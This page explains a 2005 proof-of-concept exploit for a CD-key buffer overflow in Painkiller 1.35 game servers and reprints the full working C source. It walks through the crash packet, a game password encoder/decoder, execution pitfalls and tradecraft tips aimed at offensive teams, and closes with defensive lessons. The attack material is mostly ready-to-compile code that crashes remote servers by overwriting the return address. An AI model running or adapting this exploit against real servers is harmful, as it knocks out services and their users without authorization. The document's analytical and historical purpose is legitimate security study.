Painkiller 1.35 CD-Key Alpha-Numeric Buffer Overflow Explained

Painkiller 1.35 CD-Key Alpha-Numeric Buffer Overflow Explained
What this paper is
This paper is a Proof-of-Concept (PoC) exploit for a buffer overflow vulnerability in the game Painkiller, specifically versions up to and including 1.35. The vulnerability lies in how the game handles CD keys, which are alpha-numeric strings. The exploit leverages this by sending a specially crafted packet that overwrites a return address on the stack, leading to a denial-of-service (DoS) condition on the server. The paper also includes a utility function for encoding/decoding game passwords, which is part of the game's network protocol.
Simple technical breakdown
The core of the exploit involves sending a network packet to a Painkiller game server. This packet contains a "CD-key" field. The game server expects this field to be a certain size, but the exploit sends a much larger string. This larger string overflows the buffer allocated for the CD-key, overwriting adjacent memory on the server's stack.
The exploit specifically targets the return address, which is a pointer to where the program should continue execution after a function finishes. By overwriting this address with a value of its choosing (represented by "AAAA" in the code, which translates to 0x41414141), the attacker causes the server to attempt to jump to an invalid memory location, crashing the server process.
The exploit also demonstrates how the game encrypts its passwords using a server-provided "challenge" string. The provided code includes a function painkiller_pckpwd that can both encrypt and decrypt these passwords, which is necessary for constructing valid packets that the server will process before the overflow occurs.
Complete code and payload walkthrough
The provided code consists of several parts:
painkiller_pckpwdfunction: This function is responsible for encoding and decoding game passwords.- Windows-specific error handling (
winerr.hequivalent): This section definesstd_errfor Windows to handle Winsock errors. - Cross-platform definitions and constants: Defines for port, buffer sizes, timeouts, and packet structures.
- Main exploit logic (
mainfunction): This is where the network communication and exploit execution happen. - Helper functions:
show_info,timeout,resolv, andstd_err(for non-Windows).
Let's break down the key components:
painkiller_pckpwd function
This function implements a custom encryption/decryption algorithm used by Painkiller for its network passwords. It takes two arguments: pwd (the password to be encrypted/decrypted) and enc (the "encryption" key, which is actually the server challenge).
Input Transformation:
- The first loop iterates through the
pwdstring. It converts characters to their numerical representation based on their type:- '0'-'9' become 0-9 (by subtracting
0x30). - 'a'-'z' become 10-35 (by subtracting
0x57). - 'A'-'Z' become 36-61 (by subtracting
0x1d). - Any other character breaks the loop.
- '0'-'9' become 0-9 (by subtracting
lenstores the length of the transformed password.
- The first loop iterates through the
Initialization of
buffandencbuff:buffis initialized as a buffer of 64 bytes, where each byteiis set to the valuei. This acts as a permutation table.encbuffis populated with theenc(server challenge) string, repeating it if necessary to fill 64 bytes.
Permutation of
buffbased onencbuff:- This section shuffles the
buffarray based on the values inencbuff. esiis used as an index. For each of the 64 iterations:clgets the current value frombuff[esi].esiis updated by adding the current character fromencbuffand the previousesivalue, then taking the result modulo 64. This is a pseudo-random index.- The value at
buff[esi]is swapped withcl. buff[esi]is updated with the originalcl.p2(pointer toencbuff) is incremented.
- This section shuffles the
Password Encryption/Decryption:
esiandediare initialized to 0.- This loop iterates
lentimes (the length of the password). esiis incremented (modulo 64).clgets the value frombuff[esi].ediis updated by addingcland the previousedivalue, then taking the result modulo 64.dlgets the value frombuff[edi].- The values at
buff[esi]andbuff[edi]are swapped. - The current character of the password (
*p1) is XORed with the value frombuff[(dl + cl) & 63]. This is the core encryption/decryption step.
Output Transformation:
- The final loop converts the numerical password back into characters, similar to the initial transformation but with different offsets.
- 0-9 become '0'-'9' (by adding
0x30). - 10-35 become 'a'-'z' (by adding
0x57). - 36-61 become 'A'-'Z' (by adding
0x1d). - Other values are handled by the
elseblock.
- 0-9 become '0'-'9' (by adding
- The final loop converts the numerical password back into characters, similar to the initial transformation but with different offsets.
Code Fragment/Block -> Practical Purpose:
p1 = pwd; while(1) { ... } len = p1 - pwd;-> Convert input password characters to numerical values and determine its length.p1 = buff; for(i = 0; i < 64; i++) { *p1++ = i; }-> Initialize the permutation bufferbuffwith sequential values 0-63.p1 = enc; p2 = encbuff; for(i = 0; i < 64; i++) { ... }-> Populateencbuffwith the server challenge, repeating it if necessary.p1 = buff; p2 = encbuff; for(i = esi = 0; i < 64; i++) { ... }-> Shufflebuffbased onencbuffusing a pseudo-random process. This is a key part of the cipher.esi = edi = 0; p1 = pwd; for(i = 0; i < len; i++) { ... }-> Perform the actual XOR-based encryption/decryption of the password using the shuffledbuff.p1 = pwd; while(len--) { ... }-> Convert the numerical password back to its character representation.
main function and exploit logic
This is the primary execution flow of the exploit.
Includes and Definitions:
- Includes necessary headers for networking and standard I/O.
- Defines constants like
BUFFSZ(buffer size),PORT(default game port),TIMEOUT, and packet prefixes (CONN,JOIN1). EIPis defined as"AAAA". This is the string that will overwrite the return address. When interpreted as a 32-bit unsigned integer, it becomes0x41414141.
Argument Parsing and Initialization:
- Prints introductory information.
- Checks for command-line arguments (
<host> [port]). - Initializes Winsock on Windows (
WSADATA,WSAStartup). - Parses the target host and port.
- Resolves the hostname to an IP address using
resolv. - Creates a UDP socket (
socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)).
Server Information Request:
- Constructs an "info" packet (
"\xfe\xfd\x00" "\x00\x00\x00\x00" "\xff\x00\x00"). The*(u_long *)(info + 3) = ~time(NULL);line sets a timestamp to avoid server-side caching issues. - Sends the info packet using
SEND. - Receives the server's reply using
RECV. - Calls
show_infoto parse the reply and extract thegamever(game version).
- Constructs an "info" packet (
Exploit Loop:
The code enters a loop that attempts to find a vulnerable game version and client script version.
It initializes an empty
passwordstring.It iterates through a list of known
join2client script versions (e.g., "1.6", "1.3").Inside the loop (for each client script version attempt):
- Creates a new UDP socket.
- Sends a
CONN(connection request) packet. - Receives the server's reply, which is expected to contain a
server_chall(server challenge). - Constructs the main exploit packet:
- Starts with
JOIN1. - Appends the
gamever. - Appends the current
join2client script version. - Appends the
bofstring ("aaaaaaaa..."followed byEIP). This is the buffer overflow payload. TheEIPpart ("AAAA") is crucial for overwriting the return address. - Adds a null terminator or padding depending on the protocol version (
!jcheck). - Appends the
password(initially empty, but can be prompted for later). - Calls
painkiller_pckpwdto encrypt thepasswordusing theserver_chall. - Appends a timestamp (
time(NULL)). - Appends a final byte (
0x01for new protocol).
- Starts with
- Sends the constructed exploit packet using
SEND. - Waits for a reply using
timeout. If no reply withinTIMEOUTseconds, it breaks the loop, assuming the server might be vulnerable (or crashed). - Receives the server's response.
Handling Server Responses:
- The code checks
buff[4]andbuff[5]to interpret the server's reply. buff[5] == 1(Force game version): The server sends back a newgamever. The exploit updates itsgameverand retries with the same client script version. If the next byte is '?', it means the server wants a different client script version, so it incrementsjand tries the next one.buff[5] == 2(Unknown client script version): The server indicates it doesn't understand thejoin2version. The exploit incrementsjto try the next client script version.buff[5] == 3(Password protected): The server requires a password. The exploit prompts the user to enter it, encrypts it usingpainkiller_pckpwd, and retries.buff[5] == 13(Challenge response too long): The server is not vulnerable to this specific overflow.- Other errors: Prints an error message and exits.
- No crash: If the server doesn't crash (no specific error code indicating a crash), it assumes the server is not vulnerable and breaks the loop.
- The code checks
Final Check:
- After the loop, it sends another info packet.
- If
timeout(sd)returns -1 (no reply), it declares the server vulnerable. Otherwise, it states the server doesn't seem vulnerable.
Code Fragment/Block -> Practical Purpose:
#define EIP "AAAA"-> Defines the payload that will overwrite the return address with0x41414141.*(u_long *)(info + 3) = ~time(NULL);-> Sets a unique value for the info request to bypass potential server-side caching.gamever = show_info(buff, len);-> Extracts the game version from the server's initial response.for(;;) { ... }-> The main loop for trying different client script versions and handling server responses.strncpy(server_chall, buff + 5, sizeof(server_chall) - 1);-> Extracts the server's challenge string from the received packet.p = (u_char *)memcpy(p, bof, sizeof(bof)) + sizeof(bof);-> Copies the buffer overflow payload (includingEIP) into the packet being constructed.painkiller_pckpwd(p, server_chall);-> Encrypts the password using the server challenge before sending it.if(timeout(sd) < 0) break;-> Checks if the server has crashed by waiting for a reply. If no reply, it's a potential crash.if(buff[5] == 1) { ... } else if(buff[5] == 2) { ... } else if(buff[5] == 3) { ... }-> Handles different server responses (forcing version, unknown script, password prompt).fputs("\nServer IS vulnerable!!!\n\n", stdout);-> Final confirmation of vulnerability if no reply is received after the exploit attempt.
show_info function
- Parses a null-terminated string buffer received from the server.
- It expects key-value pairs, where the key is followed by a null terminator, then the value, then another null terminator.
- It specifically looks for the "gamever" key and returns its associated value (the game version string).
timeout function
- Uses
selectwith a timeout to check if a socket has data to be read. - Returns -1 if the timeout occurs (no data), 0 otherwise.
resolv function
- Resolves a hostname to an IP address.
- First, it tries
inet_addrfor direct IP string conversion. - If that fails, it uses
gethostbynameto perform a DNS lookup.
std_err function
- A platform-specific error reporting function.
- On Windows, it uses
WSAGetLastErrorto get detailed Winsock error codes and prints a human-readable message. - On other systems (Unix-like), it uses
perrorto print a system error message.
- On Windows, it uses
Practical details for offensive operations teams
- Required Access Level: Network access to the target Painkiller game server is required. No local access or elevated privileges on the target system are needed, as this is a network-based exploit.
- Lab Preconditions:
- A controlled network environment to test against a vulnerable Painkiller server.
- A Painkiller server instance (v1.35 or older) configured to be accessible.
- A client machine capable of running the exploit code (e.g., a Linux or Windows machine with a C compiler).
- Tooling Assumptions:
- A C compiler (e.g., GCC on Linux, MinGW/MSVC on Windows).
- Standard networking libraries.
- The Exploit-DB raw source code.
- Execution Pitfalls:
- Game Version Mismatch: The exploit is specific to Painkiller versions 1.35 and older. Newer versions will likely not be vulnerable.
- Client Script Version Mismatch: The
join2array contains known client script versions. If the server uses an undocumented or newer version, the exploit might fail to trigger the overflow. The code attempts to adapt by forcing new versions, but this is not guaranteed. - Network Latency/Packet Loss: UDP is connectionless, so packet loss or significant latency could cause the exploit packet to be lost or arrive out of order, preventing the overflow. The
timeoutfunction helps detect lack of response. - Server Configuration: Firewalls or Intrusion Detection/Prevention Systems (IDS/IPS) could detect and block the exploit traffic.
- EIP Value: The
EIPvalue is hardcoded as"AAAA"(0x41414141). This is a non-executable address and will cause a crash. For actual code execution (shellcode), this would need to be replaced with a valid address pointing to injected shellcode, which is not part of this PoC. - Password Prompt: If the server is password-protected, the operator must manually enter the correct password for the exploit to proceed.
- Alpha-Numeric Constraint: The
EIPvalue must be alpha-numeric."AAAA"satisfies this. If a differentEIPwere used, it would need to adhere to this constraint.
- Tradecraft Considerations:
- Reconnaissance: Identify the target game and its version. Determine if it's Painkiller and its version.
- Passive Analysis: Observe network traffic from legitimate clients to understand packet structures and identify potential indicators of compromise.
- Active Probing: Use the exploit PoC to test specific servers. Start with non-disruptive probes (like the initial info request) before attempting the overflow.
- Obfuscation: The UDP protocol and the encryption of the password offer some basic obfuscation. However, the exploit packet structure itself is likely detectable by network security devices.
- Post-Exploitation (if shellcode were used): If the exploit were modified to achieve code execution, standard post-exploitation techniques would apply, focusing on maintaining persistence, privilege escalation, and data exfiltration, all within the authorized scope.
- Likely Failure Points:
- Server not running Painkiller or a vulnerable version.
- Server using an unsupported client script version.
- Network filtering blocking the UDP packets.
- Server-side patches or security measures preventing the overflow.
- Incorrect password entry for protected servers.
Where this was used and when
- Game: Painkiller (versions up to and including 1.35).
- Context: Exploiting vulnerabilities in multiplayer game servers to cause denial of service.
- Approximate Year: Published in February 2005. Exploits of this nature were common in the early to mid-2000s for multiplayer games, targeting server stability and availability. This specific vulnerability was likely exploited in the wild by players or malicious actors seeking to disrupt games or gain an advantage by crashing opponents' servers.
Defensive lessons for modern teams
- Input Validation is Crucial: Always validate the size and content of incoming data. Buffers must be large enough to hold expected data, and overflows must be prevented.
- Secure Network Protocols: Rely on robust, modern network protocols with built-in security features rather than custom, potentially flawed encryption/authentication mechanisms.
- Regular Patching: Keep game servers and all network-facing software updated with the latest security patches. Vulnerabilities like this are often fixed quickly.
- Network Segmentation and Firewalls: Restrict access to game servers. Use firewalls to allow only necessary ports and protocols.
- Intrusion Detection/Prevention Systems (IDS/IPS): Deploy IDS/IPS solutions that can detect anomalous network traffic patterns, including malformed packets or exploit attempts. Signature-based detection for known exploits and anomaly-based detection for unusual packet structures are key.
- Memory Safety: Modern development practices emphasize memory-safe languages or techniques (like ASLR, DEP/NX) to mitigate the impact of buffer overflows, even if they occur.
- Code Auditing: Regularly audit game server code for common vulnerabilities like buffer overflows, format string bugs, and integer overflows.
ASCII visual (if applicable)
This exploit involves a client sending a malformed packet to a server. A simple visual representation of the packet flow and the buffer overflow:
+-----------------+ +-------------------+
| Exploit Client | ----> | Painkiller Server |
+-----------------+ +-------------------+
| |
| Sends malformed packet |
| (overflowing CD-key) |
| |
| | Receives packet
| | Attempts to process
| | Buffer overflow occurs
| | Stack corruption
| | Crash (DoS)
| |
|------------------------>| (No response due to crash)Packet Structure (Simplified):
[Packet Header] [Game Version] [Client Script Version] [CD-Key (Overflowing)] [Password (Encrypted)] [Timestamp] [End Marker]The [CD-Key (Overflowing)] field is where the aaaaaaaa...AAAA payload resides. The AAAA part overwrites the return address on the server's stack.
Source references
- Paper: Luigi Auriemma, "Painkiller 1.35 - in-game cd-key alpha-numeric Buffer Overflow (PoC)", published 2005-02-02.
- Exploit-DB URL: https://www.exploit-db.com/papers/783
- Raw Exploit URL: https://www.exploit-db.com/raw/783
- Game Website (mentioned): http://www.painkillergame.com/
- Gamespy Auth Key Paper (mentioned): http://aluigi.altervista.org/papers/gskey-auth.txt
- GNU General Public License: http://www.gnu.org/licenses/gpl.txt
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/*
Painkiller packet's password encoder/decoder 0.1
by Luigi Auriemma
e-mail: aluigi@autistici.org
web: http://aluigi.altervista.org
INTRODUCTION
============
When you want to join a password protected game server of Painkiller
(http://www.painkillergame.com) your client sends a packet containing
the packet ID (0x04), your client version, the 72 bytes of the Gamespy
auth key (http://aluigi.altervista.org/papers/gskey-auth.txt) plus a
"strange" text string after it.
This text string is just the password you have used to join and it is
encrypted using the other text string (the server challenge) sent by
the server in its previous packet.
My optimized algorithm is able to decode/encode the password stored in
the packet sent by the client.
HOW TO USE
==========
The function is an algorithm used for both encoding and decoding
without differences.
It needs only 2 parameters:
- pwd: the client's password stored in the packet
- enc: the server challenge string
Example:
#include "painkiller_pckpwd.h"
unsigned char pwd[] = "5mjblOpV8N",
enc[] = "k7bEv4cGcw";
painkiller_pckpwd(pwd, enc);
printf("Password: %s\n", pwd); // the password is "mypassword"
LICENSE
=======
Copyright 2004 Luigi Auriemma
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
http://www.gnu.org/licenses/gpl.txt
*/
/* Inserted painkiller_pckpwd.h, winerr.h /str0ke */
void painkiller_pckpwd(unsigned char *pwd, unsigned char *enc) {
unsigned char buff[64],
encbuff[64],
*p1,
*p2;
int len,
i,
cl,
dl,
esi,
edi;
p1 = pwd;
while(1) {
if((*p1 >= '0') && (*p1 <= '9')) {
*p1 -= 0x30;
} else if((*p1 >= 'a') && (*p1 <= 'z')) {
*p1 -= 0x57;
} else if((*p1 >= 'A') && (*p1 <= '\\')) {
*p1 -= 0x1d;
} else {
break;
}
p1++;
}
len = p1 - pwd;
p1 = buff;
for(i = 0; i < 64; i++) {
*p1++ = i;
}
p1 = enc;
p2 = encbuff;
for(i = 0; i < 64; i++) {
*p2++ = *p1++;
if(!*p1) p1 = enc;
}
p1 = buff;
p2 = encbuff;
for(i = esi = 0; i < 64; i++) {
cl = *p1;
esi = (*p2 + cl + esi) & 63;
*p1++ = buff[esi];
buff[esi] = cl;
p2++;
}
esi = edi = 0;
p1 = pwd;
for(i = 0; i < len; i++) {
esi = (esi + 1) & 63;
cl = buff[esi];
edi = (cl + edi) & 63;
dl = buff[edi];
buff[esi] = dl;
buff[edi] = cl;
*p1++ ^= buff[(dl + cl) & 63];
}
p1 = pwd;
while(len--) {
if(*p1 <= 9) {
*p1 += 0x30;
} else if((*p1 >= 0xa) && (*p1 <= 0x23)) {
*p1 += 0x57;
} else {
*p1 += 0x1d;
}
p1++;
}
}
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 8192
#define PORT 3455
#define TIMEOUT 3
#define CONN "\xff\xff\xff\xff\x02"
#define JOIN1 "\xff\xff\xff\xff\x04"
#define EIP "AAAA" /* alpha-numeric only! (1 - 9, A - Z and a - z) */
#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define REALRECV len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err(); \
buff[len] = 0x00;
#define RECV if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n", stdout); \
exit(1); \
} \
REALRECV;
u_char *show_info(u_char *buff, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
verlen = 0,
j,
join2len;
u_short port = PORT;
u_char buff[BUFFSZ + 1],
password[32],
server_chall[32],
*p,
*gamever = NULL,
info[] =
"\xfe\xfd\x00" "\x00\x00\x00\x00" "\xff\x00\x00",
bof[] =
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
EIP,
*join2[] = {
"122.304", /* 0 = 1.6 */
"105.263", /* 1 = 1.3 */
"105.262", /* 2 = 1.2 */
"101.258", /* 3 = 1.1 */
NULL
};
setbuf(stdout, NULL);
fputs("\n"
"Painkiller <= 1.35 in-game cd-key alpha-numeric buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n"
" Return address will be overwritten with 0x%08lx.\n"
" Only alpha-numeric return addresses are allowed\n"
"\n", argv[0], port, *(u_long *)EIP);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- request informations:\n", stdout);
*(u_long *)(info + 3) = ~time(NULL);
SEND(info, sizeof(info) - 1);
RECV;
close(sd);
gamever = show_info(buff, len);
if(!gamever) {
fputs("\nError: no game version in the information reply\n\n", stdout);
exit(1);
}
verlen = strlen(gamever) + 1;
*password = 0x00;
j = 0;
join2len = strlen(join2[j]) + 1;
printf("- try client script version %s\n", join2[j]);
for(;;) { /* for passwords only */
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("\n- send connection request packet\n", stdout);
SEND(CONN, sizeof(CONN) - 1);
RECV;
strncpy(server_chall, buff + 5, sizeof(server_chall) - 1);
server_chall[sizeof(server_chall) - 1] = 0x00;
printf("- server challenge: %s\n", server_chall);
p = (u_char *)memcpy(buff, JOIN1, sizeof(JOIN1) - 1) +
sizeof(JOIN1) - 1;
p = (u_char *)memcpy(p, gamever, verlen) +
verlen;
p = (u_char *)memcpy(p, join2[j], join2len) +
join2len;
p = (u_char *)memcpy(p, bof, sizeof(bof)) + /* Gamespy cd-key */
sizeof(bof); /* plus buffer-overflow */
if(!j) { /* new 1.6 protocol */
*p++ = 0x00;
} else { /* old protocol */
*(u_long *)p = 0x00000000;
p += 4;
}
len = strlen(password) + 1;
memcpy(p, password, len);
painkiller_pckpwd(p, server_chall);
p += len;
if(!j) *p++ = 0x01; /* new 1.6 protocol */
*(u_long *)p = time(NULL);
p += 4;
printf("- send the buffer-overflow packet (EIP = 0x%08lx)\n", *(u_long *)EIP);
SEND(buff, p - buff);
fputs("- wait some seconds...\n", stdout);
if(timeout(sd) < 0) break;
REALRECV;
if(!buff[4]) {
if(buff[5] == 1) {
free(gamever);
gamever = strdup(buff + 6);
verlen = strlen(gamever) + 1;
printf("\n- force game version to %s\n", gamever);
if(buff[6 + verlen] == '?') {
if(!join2[++j]) {
fputs("\nError: this server uses an unknown client script version\n\n", stdout);
exit(1);
}
join2len = strlen(join2[j]) + 1;
printf("\n- try client script version %s\n", join2[j]);
}
close(sd);
continue;
} else if(buff[5] == 2) {
if(!join2[++j]) {
fputs("\nError: this server uses an unknown client script version\n\n", stdout);
exit(1);
}
join2len = strlen(join2[j]) + 1;
printf("\n- try client script version %s\n", join2[j]);
close(sd);
continue;
} else if(buff[5] == 3) {
fputs("- server is protected by password, insert it:\n ", stdout);
fflush(stdin);
fgets(password, sizeof(password) - 1, stdin);
password[strlen(password) - 1] = 0x00;
close(sd);
continue;
} else if(buff[5] == 13) {
fputs("\n"
"- the server is NOT vulnerable, it has replied with the error 13:\n"
" Challenge response too long!\n", stdout);
break;
}
printf("\nError: %s\n", buff + 6);
exit(1);
}
fputs("- seems the server is not vulnerable since it is not crashed yet\n", stdout);
break;
}
fputs("\n- check server:\n", stdout);
SEND(info, sizeof(info) - 1);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
u_char *show_info(u_char *buff, int len) {
u_char *p1,
*p2,
*limit,
*ver = NULL;
int nt = 0,
doit = 0;
limit = buff + len;
p1 = buff + 5;
while(p1 < limit) {
p2 = strchr(p1, 0x00);
if(!p2) break;
*p2 = 0x00;
if(!nt) {
if(!*p1) break;
if(!strcmp(p1, "gamever")) doit = 1;
printf("%30s: ", p1);
nt++;
} else {
if(doit) {
ver = strdup(p1);
doit = 0;
}
printf("%s\n", p1);
nt = 0;
}
p1 = p2 + 1;
}
fputc('\n', stdout);
return(ver);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2005-02-02]